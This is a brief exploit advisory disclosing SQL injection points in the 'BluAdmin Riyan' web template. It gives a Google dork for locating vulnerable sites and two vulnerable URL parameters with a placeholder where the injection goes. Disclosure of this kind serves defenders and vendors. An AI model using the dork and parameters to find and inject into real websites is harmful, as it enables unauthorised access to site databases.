# # # # # # Exploit Title: BluAdmin Riyan (ver. 1) - SQL Injection # Google Dork: inurl:"/blu_source/featured_sec.php?" # Date: 27.03.2017 # Vendor Homepage: http://www.bludomain.com/ # Software: http://www.bludomain.com/websites/ # Demo: http://bludomaintemplates.com/riyan/#!/HOME # Version: 1 # Tested on: Win7 x64, Kali Linux x64 # # # # # # Exploit Author: Matt Sheimo # Author Web: N/A # Author Mail : mrsheimo[@]gmail[.]com # # # # # # # # SQL Injection/Exploit : # http://localhost/[PATH]/blu_source/featured_sec.php?sec_id=[SQL] # http://localhost/[PATH]/blu_source/gallery.php?gal_id=[SQL] # # # # #